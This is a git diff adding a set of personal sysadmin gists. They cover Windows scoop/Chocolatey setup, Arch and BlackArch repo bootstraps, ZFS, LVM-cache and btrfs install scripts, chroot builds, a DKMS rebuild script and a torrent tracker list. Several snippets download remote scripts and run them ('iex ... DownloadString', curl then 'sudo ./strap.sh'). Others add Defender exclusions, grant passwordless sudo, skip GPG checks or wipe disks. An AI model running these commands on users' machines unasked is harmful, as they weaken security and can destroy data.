index 000000000..c44cd3de7 --- /dev/null +++ b/content/gists/730ac6432c0e7ef910f4755cf908274f.md @@ -0,0 +1,65 @@ +--- +title: "install scoop & choco" +type: gist +gist_id: "730ac6432c0e7ef910f4755cf908274f" +gist_name: "install scoop & choco chocoscoop.ps1" +gist_url: https://gist.github.com/dominicusin/730ac6432c0e7ef910f4755cf908274f +updated_at: "2023-07-07T18:45:18Z" +files: ["chocoscoop.ps1"] +--- +_install scoop & choco_ + +## chocoscoop.ps1 + +```PowerShell + +Set-ExecutionPolicy RemoteSigned -scope CurrentUser +$env:SCOOP='D:\prg\scoop' +[environment]::setEnvironmentVariable('SCOOP',$env:SCOOP,'User') +$env:SCOOP_GLOBAL='D:\prg\sapps' +[environment]::setEnvironmentVariable('SCOOP_GLOBAL',$env:SCOOP_GLOBAL,'Machine') +irm get.scoop.sh -outfile 'install.ps1' +.\install.ps1 -RunAsAdmin +Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem' -Name 'LongPathsEnabled' -Value 1 +scoop install 7zip innounp dark wixtoolset sudo curl git +#sudo +Add-MpPreference -ExclusionPath 'D:\prg\sapps' +#sudo +Add-MpPreference -ExclusionPath 'D:\prg\scoop' +git config --global credential.helper manager-core +scoop update +scoop checkup +#scoop bucket add main +scoop bucket add extras +scoop bucket add versions +#scoop bucket add nightlies +scoop bucket add nirsoft +scoop bucket add php +scoop bucket add nerd-fonts +scoop bucket add nonportable +scoop bucket add java +scoop bucket add games +scoop bucket add jetbrains +scoop update * + +$env:ChocolateyInstall='D:\prg\Choco' +[Environment]::SetEnvironmentVariable("ChocolateyInstall", $ChocolateyInstall, "User") +[environment]::setEnvironmentVariable('ChocolateyInstall',$env:ChocolateyInstall,'Machine') +Set-ExecutionPolicy Bypass -Scope Process -Force; +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; +iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) +choco feature enable -n allowGlobalConfirmation +choco upgrade chocolatey +choco install ruby.portable git.commandline visualstudiocode.portable notepadplusplus.commandline nano far 7zip conemu --force --pre + + +Get-Content "E:\Work\allscoop.txt" | ForEach-Object { + scoop install $_.split(" ")[0] -g -a 64bit -u -s +} + + + + +``` + + diff --git a/content/gists/755c277ba83be5c20a7ecd19b07c2923.md b/content/gists/755c277ba83be5c20a7ecd19b07c2923.md new file mode 100644 index 000000000..595452558 --- /dev/null +++ b/content/gists/755c277ba83be5c20a7ecd19b07c2923.md @@ -0,0 +1,18 @@ +--- +title: "guix" +type: gist +gist_id: "755c277ba83be5c20a7ecd19b07c2923" +gist_name: "guix guix" +gist_url: https://gist.github.com/dominicusin/755c277ba83be5c20a7ecd19b07c2923 +updated_at: "2021-07-27T09:10:48Z" +files: ["guix"] +--- +_guix_ + +## guix + +``` +for p in $(guix package -A|sed -e 's/\t/ /g'|cut -d' ' -f1|sort -u);do guix install --keep-going $p;done +``` + + diff --git a/content/gists/75dc10649ef1619223938456e2f80458.md b/content/gists/75dc10649ef1619223938456e2f80458.md new file mode 100644 index 000000000..2867ef2fe --- /dev/null +++ b/content/gists/75dc10649ef1619223938456e2f80458.md @@ -0,0 +1,28 @@ +--- +title: "arch" +type: gist +gist_id: "75dc10649ef1619223938456e2f80458" +gist_name: "arch gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/75dc10649ef1619223938456e2f80458 +updated_at: "2025-07-03T09:54:46Z" +files: ["gistfile1.txt"] +--- +_arch_ + +## gistfile1.txt + +```Text +curl https://mirror.cachyos.org/cachyos-repo.tar.xz -o cachyos-repo.tar.xz +tar xvf cachyos-repo.tar.xz && cd cachyos-repo +sudo ./cachyos-repo.sh + +curl -O https://blackarch.org/strap.sh +chmod +x strap.sh +sudo ./strap.sh + +curl -LO git.io/strap.sh +sudo sh strap.sh + +``` + + diff --git a/content/gists/75ee8041e0427c2d89898e35e0728e44.md b/content/gists/75ee8041e0427c2d89898e35e0728e44.md new file mode 100644 index 000000000..ff1ef9bce --- /dev/null +++ b/content/gists/75ee8041e0427c2d89898e35e0728e44.md @@ -0,0 +1,276 @@ +--- +title: "Install scripts for installing Arch Linux on ZFS. Not runnable, just listed commands." +type: gist +gist_id: "75ee8041e0427c2d89898e35e0728e44" +gist_name: "Install scripts for installing Arch Linux on ZFS. Not runnable, just listed commands. zfsinstall-1-setup.sh" +gist_url: https://gist.github.com/dominicusin/75ee8041e0427c2d89898e35e0728e44 +updated_at: "2018-03-14T18:32:51Z" +files: ["zfsinstall-1-setup.sh", "zfsinstall-2.sh", "zfsinstall-3-postinstall.sh"] +--- +_Install scripts for installing Arch Linux on ZFS. Not runnable, just listed commands._ + +## zfsinstall-1-setup.sh + +```Shell +#!/bin/bash +# Check before running, may need intervention + +# Pass in the following to the script, or hardcode it. + +# Uncomment if hardcoding input. +BOOT_PARTITION="/dev/sdg1" +DISK_1="ata-SanDisk_SDSSDXPS480G_152271401093" +DISK_2="ata-SanDisk_SDSSDXPS480G_154501401266" +POOL="vault" + +# Check for zfs +modprobe zfs + +# Create pool +zpool create -f -o ashift=12 ${POOL} mirror ${DISK_1} ${DISK_2} + +## Properties +# Compression +zfs set compression=on ${POOL} +# Access time +zfs set atime=on ${POOL} +zfs set relatime=on ${POOL} + +# Create key datasets +zfs create -o mountpoint=none "${POOL}/ROOT" +zfs create -o mountpoint=legacy "${POOL}/ROOT/default" +zfs create -o mountpoint=/home "${POOL}/home" + +## Optional datasets ## +# tmp +zfs create "${POOL}/tmp" \ + -o setuid=off \ + -o devices=off \ + -o sync=disabled \ + -o mountpoint=/tmp + +# Mask systemd’s automatic tmpfs-backed tmp +systemctl mask tmp.mount +# var +zfs create "${POOL}/var" \ + -o xattr=sa \ + -o mountpoint=legacy + +# usr +zfs create "${POOL}/usr" -o mountpoint=legacy +## End Optional + +# Unmount pool +zfs umount -a + +# Put them in /etc/fstab +nano /etc/fstab +# +# vault/ROOT/default / zfs rw,relatime,xattr,noacl 0 0 +# vault/var /var zfs rw,relatime,xattr,noacl 0 0 +# vault/usr /usr zfs rw,relatime,xattr,noacl 0 0 + +# set boot property +zpool set bootfs="${POOL}/ROOT/default" ${POOL} + +## Setup Installation ## + +# Export the pool +zpool export ${POOL} + +# re-import the pool, +zpool import -d /dev/disk/by-id -R /mnt ${POOL} + +# bring the zpool.cache file into your new system +mkdir -p /mnt/etc/zfs +cp /etc/zfs/zpool.cache /mnt/etc/zfs/zpool.cache +# OR, if you do not have /etc/zfs/zpool.cache, create it: +# zpool set cachefile=/etc/zfs/zpool.cache zroot + +# Mount legacy zfs +mkdir /mnt/{home,var,usr,tmp,boot} +mount -t zfs "${POOL}/home" "/mnt/home" +mount -t zfs "${POOL}/var" "/mnt/var" +mount -t zfs "${POOL}/usr" "/mnt/usr" +mount -t zfs "${POOL}/tmp" "/mnt/tmp" + +# Boot +mkdir -p /boot +mount "/dev/${BOOT_PARTITION}" /boot + +# Generate the fstab +genfstab -U -p /mnt >> /mnt/etc/fstab + +# Comment out all non-legacy datasets apart from the root dataset, +# the swap file and the boot/EFI partition. +nano /mnt/etc/fstab + +# Edit mirrorlist +nano /etc/pacman.d/mirrorlist + +# Install the base system +pacstrap -i /mnt base base-devel + +# Edit ramdisk hooks +# If you are using a separate dataset for /usr, have the usr hook enabled after zfs +# If using a separate dataset for /var, add shutdowm hook +# HOOKS="base udev autodetect modconf block keyboard zfs usr filesystems shutdown" +nano /mnt/etc/mkinitcpio.conf + +# Enter chroot + +``` + +## zfsinstall-2.sh + +```Shell +#!/bin/bash + +# Run in chroot +# arch-chroot /mnt /bin/bash + +# Add the Arch ZFS repository to /etc/pacman.conf +nano /etc/pacman.conf +# [archzfs] +# Server = http://archzfs.com/$repo/x86_64 + +# sign its key +pacman-key -r 5E1ABF240EE7A126 && pacman-key --lsign-key 5E1ABF240EE7A126 + +# install zfs-linux +pacman -Syyu +pacman -S zfs-linux-git + +# For /tmp, mask (disable) systemd's automatic tmpfs-backed /tmp +systemctl mask tmp.mount + +## Install as normal ## +nano /etc/pacman.d/mirrorlist + +# set locale, uncomment en_US.UTF-8 UTF-8 +nano /etc/locale.gen +# generate the new locales +locale-gen + +# set locale, LANG refers to the first column of locale +nano /etc/locale.conf +# LANG=en_US.UTF-8 + +# timezone +ln -s /usr/share/zoneinfo/Canada/Pacific /etc/localtime +# set the time standard to UTC +hwclock --systohc --utc + +## Bootloader ## +# re-generate the initramfs image +mkinitcpio -p linux +# If intel cpu, set ucode as the first initrd in the bootloader +pacman -S intel-ucode +# Install systemd-boot to wherever esp mounted +bootctl --path=/boot install + +# Bootloader entry +# title Arch Linux +# linux /vmlinuz-linux +# initrd /intel-ucode.img +# initrd /initramfs-linux.img +# options zfs=vault/ROOT/default rw +nano /loader/entries/Arch.conf + +## Configure the network ## +# Set the hostname to your liking: +nano /etc/hostname + +## /etc/hosts: static lookup table for host names +## +# 127.0.0.1 localhost.localdomain localhost +# ::1 localhost.localdomain localhost +# 192.168.0.2 Archon.localdomain Archon +nano /etc/hosts + + +# get nic +ip link +# enable internet +systemctl enable dhcpcd@eno1.service + +# root pass +passwd + +# Set either shutdown hook or this +systemctl enable mkinitcpio-generate-shutdown-ramfs.service + +## Install Done, Customize ## +# Make a user +pacman -S zsh sudo +useradd -m -G wheel -s /usr/bin/zsh john +passwd john +EDITOR=nano visudo +nano /etc/pacman.conf +pacman -S openssh +systemctl enable sshd +nano /etc/ssh/sshd_config + +# Done! +exit + +umount /mnt/boot +umount /mnt/home umount /mnt/tmp +umount /mnt/usr +umount /mnt/var + +zfs umount -a +zpool export vault + +## Reboot! + +``` + +## zfsinstall-3-postinstall.sh + +```Shell +#!/bin/bash + +## After reboot ## +zpool set cachefile=/etc/zfs/zpool.cache vault +systemctl enable zfs.target + +# To write the hostid file safely you need to use a small C program: +#include +#include +#include + +# int main() { +# int res; +# res = sethostid(gethostid()); +# if (res != 0) { +# switch (errno) { +# case EACCES: +# fprintf(stderr, "Error! No permission to write the" +# " file used to store the host ID.\n" +# "Are you root?\n"); +# break; +# case EPERM: +# fprintf(stderr, "Error! The calling process's effective" +# " user or group ID is not the same as" +# " its corresponding real ID.\n"); +# break; +# default: +# fprintf(stderr, "Unknown error.\n"); +# } +# return 1; +# } +# return 0; +# } +# Copy it, save it as writehostid.c and compile it with gcc -o writehostid writehostid.c, finally execute it and regenerate the initramfs image: + +nano writehostid.c +gcc -o writehostid writehostid.c + +chmod +x writehostid +./writehostid +mkinitcpio -p linux + +``` + + diff --git a/content/gists/7739a675fd94b0daa58742c4247d3804.md b/content/gists/7739a675fd94b0daa58742c4247d3804.md new file mode 100644 index 000000000..b2b07b696 --- /dev/null +++ b/content/gists/7739a675fd94b0daa58742c4247d3804.md @@ -0,0 +1,29 @@ +--- +title: "7739a675fd94b0daa58742c4247d3804" +type: gist +gist_id: "7739a675fd94b0daa58742c4247d3804" +gist_name: "dochroot" +gist_url: https://gist.github.com/dominicusin/7739a675fd94b0daa58742c4247d3804 +updated_at: "2022-04-10T19:43:22Z" +files: ["dochroot"] +--- +## dochroot + +```Shell +#!/bin/bash + +echo $1 + +for i in dev sys proc run +do + mount -R /$i $1/$i + mount --make-rslave $1/$i +done + +chroot $1 + +umount -l `mount|grep $1/|cut -d' ' -f3` + +``` + + diff --git a/content/gists/773bf55727894f0c44e0ffc70f903d08.md b/content/gists/773bf55727894f0c44e0ffc70f903d08.md new file mode 100644 index 000000000..707779d92 --- /dev/null +++ b/content/gists/773bf55727894f0c44e0ffc70f903d08.md @@ -0,0 +1,22 @@ +--- +title: "NOPASSWD" +type: gist +gist_id: "773bf55727894f0c44e0ffc70f903d08" +gist_name: "NOPASSWD NOPASSWD" +gist_url: https://gist.github.com/dominicusin/773bf55727894f0c44e0ffc70f903d08 +updated_at: "2023-09-03T00:58:19Z" +files: ["NOPASSWD"] +--- +_NOPASSWD_ + +## NOPASSWD + +``` +mkdir -pv /etc/sudoers.d/ +echo "$USER ALL=(ALL:ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/dont-prompt-$USER-for-sudo-password +mkdir -pv /usr/local/etc/sudoers.d/ +echo "$USER ALL=(ALL:ALL) NOPASSWD: ALL" |sudo tee /usr/local/etc/sudoers.d/dont-prompt-$USER-for-sudo-password + +``` + + diff --git a/content/gists/7e826fcef46429f055b9acf420417d51.md b/content/gists/7e826fcef46429f055b9acf420417d51.md new file mode 100644 index 000000000..c8895c3c8 --- /dev/null +++ b/content/gists/7e826fcef46429f055b9acf420417d51.md @@ -0,0 +1,23 @@ +--- +title: "7e826fcef46429f055b9acf420417d51" +type: gist +gist_id: "7e826fcef46429f055b9acf420417d51" +gist_name: "aws" +gist_url: https://gist.github.com/dominicusin/7e826fcef46429f055b9acf420417d51 +updated_at: "2017-09-30T00:03:17Z" +files: ["aws"] +--- +## aws + +``` + + +aws cloudformation create-stack \ + --region us-east-1 \ + --stack-name "GitHubTrial" \ + --template-url https://github-enterprise.s3.amazonaws.com/cloudformation/trial-1506081335.template \ + --parameters ParameterKey=Instance,ParameterValue=r3.large \ + ParameterKey=Data,ParameterValue=50 +``` + + diff --git a/content/gists/804db252184e80489a35d881d1f08f06.md b/content/gists/804db252184e80489a35d881d1f08f06.md new file mode 100644 index 000000000..82f616675 --- /dev/null +++ b/content/gists/804db252184e80489a35d881d1f08f06.md @@ -0,0 +1,57 @@ +--- +title: "btrfs" +type: gist +gist_id: "804db252184e80489a35d881d1f08f06" +gist_name: "btrfs gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/804db252184e80489a35d881d1f08f06 +updated_at: "2026-08-04T14:31:04Z" +files: ["gistfile1.txt"] +--- +_btrfs_ + +## gistfile1.txt + +```Shell +#!/usr/bin/env bash +set -euo pipefail + +echo "1. Загрузка модулей ядра" +modprobe dm_cache || true +modprobe dm_cache_smq || true +modprobe dm_persistent_data || true + +SSD_DATA="/dev/nvme1n1p6 /dev/nvme2n1p6 /dev/nvme3n1p6 /dev/nvme4n1p6 /dev/nvme5n1p6" +SSD_META="/dev/nvme0n1p6" +HDD="/dev/sda1 /dev/sdb1 /dev/sdc1 /dev/sdd1" +ALL_DEV="$SSD_DATA $SSD_META $HDD" + +echo "2. Сброс старых LVM-структур и блокировок" +vgchange -an vg_main || true +vgremove -ff -y vg_main || true +pvremove -ff -y $ALL_DEV || true +wipefs -a -f $ALL_DEV + +echo "3. Создание PV и VG" +pvcreate --dataalignment 1m -ff -y $ALL_DEV +vgcreate -y vg_main $ALL_DEV + +echo "4. Создание основных томов" +lvcreate -y -n lv_main -l 100%PVS vg_main $HDD +lvcreate -y -n cache_meta -L 8G vg_main $SSD_META +lvcreate -y -i 5 -I 64K -n cache_data -l 100%FREE vg_main $SSD_DATA + +echo "5. Сборка cache-pool и привязка writeback" +lvconvert -y --type cache-pool --chunksize 512k --poolmetadata vg_main/cache_meta vg_main/cache_data +lvconvert -y --type cache --cachepool vg_main/cache_data --cachemode writeback vg_main/lv_main + +vgcfgbackup vg_main +lvs -a -o +devices +lvdisplay vg_main/lv_main + + +echo "6. Форматирование Btrfs" +mkfs.btrfs -f -O block-group-tree,squota /dev/vg_main/lv_main + +``` + + diff --git a/content/gists/8402abedb4df49c2852ce150f03a5372.md b/content/gists/8402abedb4df49c2852ce150f03a5372.md new file mode 100644 index 000000000..667069b31 --- /dev/null +++ b/content/gists/8402abedb4df49c2852ce150f03a5372.md @@ -0,0 +1,27 @@ +--- +title: "chroot" +type: gist +gist_id: "8402abedb4df49c2852ce150f03a5372" +gist_name: "chroot make chroot" +gist_url: https://gist.github.com/dominicusin/8402abedb4df49c2852ce150f03a5372 +updated_at: "2025-09-18T03:49:03Z" +files: ["make chroot"] +--- +_chroot_ + +## make chroot + +``` +dnf --releasever='rawhide' --repofrompath='rawhide,http://mirrors.dotsrc.org/fedora-enchilada/linux/development/rawhide/Everything/x86_64/os/' --repofrompath='rawhide-modular,https://mirrors.huaweicloud.com/repository/fedora/development/rawhide/Modular/x86_64/os/' --installroot='/chroot/fedora' --enablerepo='rawhide,rawhide-modular' --setopt=install_weak_deps=True --nogpgcheck install dnf @core +##dnf install --nogpgcheck --repofrompath 'terra,https://repos.fyralabs.com/terra$releasever' terra-release +debootstrap --verbose --no-check-gpg --no-merged-usr --components="main,contrib,non-free,non-free-firmware" ceres /chroot/devuan http://deb.devuan.org/merged +debootstrap --verbose --components=main,contrib,non-free-firmware,non-free --variant=minbase --merged-usr --force-check-gpg --log-extra-deps stable /chroot/debian https://deb.debian.org/debian +ARCH=amd64 debootstrap --arch=amd64 --verbose --components=main,multiverse,restricted,universe --extra-suites=plucky,plucky-backports,plucky-proposed,plucky-security,plucky-updates,devel-backports,devel-proposed,devel-security,devel-updates,devel --variant=minbase --merged-usr --force-check-sig --force-check-gpg --log-extra-deps --include=build-essential,tasksel,aptitude,mc,htop,most,mosh,screen,tmux plucky /mnt/Ubuntu http://archive.ubuntu.com/ubuntu/ +zypper --root /chroot/suse install --allow-vendor-change --allow-arch-change --allow-name-change --allow-downgrade --recommends --force-resolution --auto-agree-with-licenses --replacefiles --no-confirm --force --allow-unsigned-rpm --oldpackage --details zypper +pacman -r /chroot/arch --cachedir=/chroot/arch/var/cache/pacman/pkg --config=/chroot/arch/etc/pacman.conf -Syyuu base base-devel +nixos-generate-config --root /mnt/NixOS; nixos-install --root /mnt/NixOS +guix time-machine -C /mnt/Guix/etc/channels.scm -- system init /mnt/Guix/etc/config.scm /mnt/Guix/ + +``` + + diff --git a/content/gists/8bc6247e5619122fa18f83c702c017d7.md b/content/gists/8bc6247e5619122fa18f83c702c017d7.md new file mode 100644 index 000000000..660f5c131 --- /dev/null +++ b/content/gists/8bc6247e5619122fa18f83c702c017d7.md @@ -0,0 +1,104 @@ +--- +title: "ugly hacky script to rebuild all dkms modules plus manually force zfs if it's intree for debian/ubuntu" +type: gist +gist_id: "8bc6247e5619122fa18f83c702c017d7" +gist_name: "ugly hacky script to rebuild all dkms modules plus manually force zfs if it's intree for debian/ubuntu reinstall-dkms-modules-pluszfs.sh" +gist_url: https://gist.github.com/dominicusin/8bc6247e5619122fa18f83c702c017d7 +updated_at: "2018-03-18T16:41:23Z" +files: ["reinstall-dkms-modules-pluszfs.sh"] +--- +_ugly hacky script to rebuild all dkms modules plus manually force zfs if it's intree for debian/ubuntu_ + +## reinstall-dkms-modules-pluszfs.sh + +```Shell +#!/usr/bin/env bash +# rebuild/reinstall all dkms modules. +# double check there's no others missing too afterwards. + +#template(){ +#KVER=x.x.x-arch +#ZVER=x.x.x.x-x +#dkms status | sed s/,//g | awk '{print "--force -m",$1,"-v",$2}' | while read line; do ls /var/lib/initramfs-tools | xargs -n 1 dkms build --force $line -k; done +#dkms status | sed s/,//g | awk '{print "--force -m",$1,"-v",$2}' | while read line; do ls /var/lib/initramfs-tools | xargs -n 1 dkms install --force $line -k; done +#dkms build --force -m spl -v $ZVER -k $KVER +#dkms build --force -m zfs -v $ZVER -k $KVER +#dkms install --force -m spl -v $ZVER -k $KVER +#dkms install --force -m zfs -v $ZVER -k $KVER +#} + +if [[ "$(id -u)" -ne 0 ]]; then + echo "Must run this script as root, or with sudo." + exit 1 +fi + +echo "Listing all dkms modules currently registered" +echo "Save this list to compare to the results afterwards" +echo "$(dkms status)" +sleep "5" + +echo "Uninstalling all DKMS modules" +sleep "1" +dkms status | sed s/,//g | awk '{print "--force -m",$1,"-v",$2}' | \ + while read line; do ls /var/lib/initramfs-tools | \ + xargs -n 1 dkms uninstall $line -k; done + +echo "Rebuilding all DKS modules" +sleep "1" +dkms status | sed s/,//g | awk '{print "--force -m",$1,"-v",$2}' | \ + while read line; do ls /var/lib/initramfs-tools | \ + xargs -n 1 dkms build $line -k; done + +echo "DKMS Modules built, now installing" +sleep "1" +dkms status | sed s/,//g | awk '{print "--force -m",$1,"-v",$2}' | \ + while read line; do ls /var/lib/initramfs-tools | \ + xargs -n 1 dkms install --force $line -k; done + +# sometimes dkms is stubborn and unregisters zfs completely from dkms +# so, i just quickly whipped this up since I got tired of reinstalling it manually +# It's ugly and not well tested but seems to work. +# could be shorter and more efficient though. + +# get ARCH +if [ ! -z "$(getconf LONG_BIT)" ]; then + ARCH="amd64" +elif [ ! -z "$(uname -r | grep pae)" ]; then + ARCH="686-pae" +elif [ -z "$ARCH" ]; then + ARCH="686" +else + echo "[ERROR] Can't find your ARCH" + exit 1 +fi +# get the list of kernels we need to install zfs/spl. Yeah there's better ways of doing this, I know. +# this was scripted quickly to support more use cases where multiple source trees exist. +KVER="$(ls /usr/src/ | grep "linux-headers" | sed s/-common//g | sed s/linux-headers-//g | grep "$ARCH")" +# get the zfs version, the head -n1 is in case for some strange reason there is more than one else you're SOL +ZVER="$(ls /usr/src/ | grep zfs | sed s/zfs-//g | head -n1)" + +# force build spl and zfs +for splb in $KVER; do + dkms build --force -m spl -v "${ZVER}" -k $splb; +done +for zfsb in $KVER; do + dkms build --force -m spl -v "${ZVER}" -k $zfsb; +done +# force install spl and zfs +for spli in $KVER; do + dkms install --force -m spl -v "${ZVER}" -k $spli; +done +for zfsi in $KVER; do + dkms install --force -m zfs -v "${ZVER}" -k $zfsi; +done + +echo "Listing all dkms modules currently registered after rebuild" +echo "Compare them with the first list and If any are missing, they probably need manual re-installation." +echo "Read the commented template section of this script to get a rough idea of how it works" +echo "$(dkms status)" + +exit 0 + +``` + + diff --git a/content/gists/90e429c44e469029745bdb0a178b2eec.md b/content/gists/90e429c44e469029745bdb0a178b2eec.md new file mode 100644 index 000000000..44dcb4f0c --- /dev/null +++ b/content/gists/90e429c44e469029745bdb0a178b2eec.md @@ -0,0 +1,61 @@ +--- +title: "90e429c44e469029745bdb0a178b2eec" +type: gist +gist_id: "90e429c44e469029745bdb0a178b2eec" +gist_name: "backuphost.nix" +gist_url: https://gist.github.com/dominicusin/90e429c44e469029745bdb0a178b2eec +updated_at: "2018-02-20T18:13:28Z" +files: ["backuphost.nix"] +--- +## backuphost.nix + +```Nix +with import {}; +let + platform = { + uboot = null; + endian = "big"; + name = "yun"; + kernelArch = "mips"; + gcc = { abi = "32"; } ; + bfdEmulation = "elf32btsmip"; + kernelHeadersBaseConfig = "ath79_defconfig"; + }; + myKeys = (stdenv.lib.splitString "\n" ( builtins.readFile "/etc/ssh/authorized_keys.d/dan" ) ); + config = { pkgs, stdenv, ... } : { + interfaces = { + wired = { + device = "eth1"; + address = "192.168.0.251"; + defaultRoute = "192.168.0.254"; + }; + }; + etc = { + "resolv.conf" = { content = ( stdenv.lib.readFile "/etc/resolv.conf" );}; + }; + users = [ + {name="root"; uid=0; gid=0; gecos="Super User"; dir="/root"; + shell="/bin/sh"; authorizedKeys = myKeys;} + {name="store"; uid=500; gid=500; gecos="Storage owner"; dir="/srv"; + shell="/dev/null"; authorizedKeys = [];} + {name="dan"; uid=1000; gid=1000; gecos="Daniel"; dir="/home/dan"; + shell="/bin/sh"; authorizedKeys = myKeys;} + ]; + services = { + dropbear = { + start = "${pkgs.dropbear}/bin/dropbear -s -P /run/dropbear.pid"; + depends = [ "wired"]; + hostKey = ./ssh_host_key; + }; + syslogd = { start = "/bin/syslogd -R 192.168.0.2"; + depends = ["wired"]; }; + ntpd = { start = "/bin/ntpd -p pool.ntp.org" ; + depends = ["wired"]; }; + }; + + }; +in ((import ./nixwrt) platform config).tftproot + +``` + + diff --git a/content/gists/92de25799ec6cc88486179ecc1dde3a7.md b/content/gists/92de25799ec6cc88486179ecc1dde3a7.md new file mode 100644 index 000000000..aa3b90b02 --- /dev/null +++ b/content/gists/92de25799ec6cc88486179ecc1dde3a7.md @@ -0,0 +1,2125 @@ +--- +title: "Torrent Tracker List [2017 Edition]" +type: gist +gist_id: "92de25799ec6cc88486179ecc1dde3a7" +gist_name: "Torrent Tracker List [2017 Edition] TTL2016.txt" +gist_url: https://gist.github.com/dominicusin/92de25799ec6cc88486179ecc1dde3a7 +updated_at: "2023-11-28T00:21:52Z" +files: ["TTL2016.txt"] +--- +_Torrent Tracker List [2017 Edition]_ + +## TTL2016.txt + +```Text +udp://public.popcorn-tracker.org:6969/announce +http://182.176.139.129:6969/announce +http://5.79.83.193:2710/announce +http://91.218.230.81:6969/announce +udp://tracker.ilibr.org:80/announce +http://atrack.pow7.com/announce +http://bt.henbt.com:2710/announce +http://mgtracker.org:2710/announce +http://mgtracker.org:6969/announce +http://open.touki.ru/announce.php +http://p4p.arenabg.ch:1337/announce +http://pow7.com:80/announce +http://retracker.krs-ix.ru:80/announce +http://secure.pow7.com/announce +http://t1.pow7.com/announce +http://t2.pow7.com/announce +http://thetracker.org:80/announce +http://torrentsmd.com:8080/announce +http://tracker.bittor.pw:1337/announce +http://tracker.dutchtracking.com:80/announce +http://tracker.dutchtracking.nl:80/announce +http://tracker.edoardocolombo.eu:6969/announce +http://tracker.ex.ua:80/announce +http://tracker.kicks-ass.net:80/announce +http://tracker1.wasabii.com.tw:6969/announce +http://tracker2.itzmx.com:6961/announce +http://www.wareztorrent.com:80/announce +udp://62.138.0.158:6969/announce +udp://eddie4.nl:6969/announce +udp://explodie.org:6969/announce +udp://shadowshq.eddie4.nl:6969/announce +udp://shadowshq.yi.org:6969/announce +udp://tracker.eddie4.nl:6969/announce +udp://tracker.mg64.net:2710/announce +udp://tracker.sktorrent.net:6969 +udp://tracker2.indowebster.com:6969/announce +udp://tracker4.piratux.com:6969/announce +http://atrack.pow7.com/announce +http://bt.henbt.com:2710/announce +http://mgtracker.org:2710/announce +http://mgtracker.org:6969/announce +http://open.touki.ru/announce.php +http://p4p.arenabg.ch:1337/announce +http://pow7.com:80/announce +http://retracker.krs-ix.ru:80/announce +http://secure.pow7.com/announce +http://t1.pow7.com/announce +http://t2.pow7.com/announce +http://thetracker.org:80/announce +http://torrentsmd.com:8080/announce +http://tracker.bittor.pw:1337/announce +http://tracker.dutchtracking.com/announce +http://tracker.dutchtracking.com:80/announce +http://tracker.dutchtracking.nl:80/announce +http://tracker.edoardocolombo.eu:6969/announce +http://tracker.ex.ua:80/announce +http://tracker.kicks-ass.net:80/announce +http://tracker.mg64.net:6881/announce +http://tracker.tfile.me/announce +http://tracker1.wasabii.com.tw:6969/announce +http://tracker2.itzmx.com:6961/announce +http://tracker2.wasabii.com.tw:6969/announce +http://www.wareztorrent.com:80/announce +udp://bt.xxx-tracker.com:2710/announce +udp://eddie4.nl:6969/announce +udp://shadowshq.eddie4.nl:6969/announce +udp://shadowshq.yi.org:6969/announce +udp://tracker.eddie4.nl:6969/announce +udp://tracker.mg64.net:2710/announce +udp://tracker.mg64.net:6969/announce +udp://tracker.opentrackr.org:1337/announce +udp://tracker.sktorrent.net:6969 +udp://tracker2.indowebster.com:6969/announce +udp://tracker4.piratux.com:6969/announce +udp://tracker.coppersurfer.tk:6969/announce +http://tracker.opentrackr.org:1337/announce +udp://zer0day.ch:1337/announce +udp://zer0day.to:1337/announce +http://explodie.org:6969/announce +udp://tracker.leechers-paradise.org:6969/announce +udp://9.rarbg.com:2710/announce +udp://9.rarbg.me:2780/announce +udp://9.rarbg.to:2730/announce +udp://p4p.arenabg.com:1337/announce +udp://tracker.sktorrent.net:6969/announce +http://p4p.arenabg.com:1337/announce +udp://tracker.aletorrenty.pl:2710/announce +http://tracker.aletorrenty.pl:2710/announce +http://tracker.bittorrent.am/announce +udp://tracker.kicks-ass.net:80/announce +http://tracker.kicks-ass.net/announce +http://tracker.baravik.org:6970/announce +udp://torrent.gresille.org:80/announce +http://torrent.gresille.org/announce +http://tracker.skyts.net:6969/announce +http://tracker.internetwarriors.net:1337/announce +udp://tracker.skyts.net:6969/announce +http://tracker.dutchtracking.nl/announce +udp://tracker.yoshi210.com:6969/announce +udp://tracker.tiny-vps.com:6969/announce +udp://tracker.internetwarriors.net:1337/announce +udp://mgtracker.org:2710/announce +http://tracker.yoshi210.com:6969/announce +http://tracker.tiny-vps.com:6969/announce +udp://tracker.filetracker.pl:8089/announce +udp://tracker.ex.ua:80/announce +udp://91.218.230.81:6969/announce +https://www.wareztorrent.com/announce +http://www.wareztorrent.com/announce +http://tracker.filetracker.pl:8089/announce +http://tracker.ex.ua/announce +http://tracker.calculate.ru:6969/announce +udp://tracker.grepler.com:6969/announce +udp://tracker.flashtorrents.org:6969/announce +udp://tracker.bittor.pw:1337/announce +http://tracker.tvunderground.org.ru:3218/announce +http://tracker.grepler.com:6969/announce +http://tracker.flashtorrents.org:6969/announce +http://retracker.gorcomnet.ru/announce +http://bt.pusacg.org:8080/announce +http://87.248.186.252:8080/announce +udp://tracker.kuroy.me:5944/announce +udp://182.176.139.129:6969/announce +http://tracker.kuroy.me:5944/announce +http://retracker.krs-ix.ru/announce +http://open.acgtracker.com:1096/announce +udp://open.stealth.si:80/announce +udp://208.67.16.113:8000/announce +http://tracker.dler.org:6969/announce +http://bt2.careland.com.cn:6969/announce +http://open.lolicon.eu:7777/announce +http://tracker.opentrackr.org:1337/announce +http://explodie.org:6969/announce +http://p4p.arenabg.com:1337/announce +http://tracker.aletorrenty.pl:2710/announce +http://tracker.bittorrent.am/announce +http://tracker.kicks-ass.net/announce +http://tracker.baravik.org:6970/announce +http://torrent.gresille.org/announce +http://tracker.skyts.net:6969/announce +http://tracker.internetwarriors.net:1337/announce +http://tracker.dutchtracking.nl/announce +http://tracker.yoshi210.com:6969/announce +http://tracker.tiny-vps.com:6969/announce +http://www.wareztorrent.com/announce +http://tracker.filetracker.pl:8089/announce +http://tracker.ex.ua/announce +http://tracker.calculate.ru:6969/announce +http://tracker.tvunderground.org.ru:3218/announce +http://tracker.grepler.com:6969/announce +http://tracker.flashtorrents.org:6969/announce +http://retracker.gorcomnet.ru/announce +http://bt.pusacg.org:8080/announce +http://87.248.186.252:8080/announce 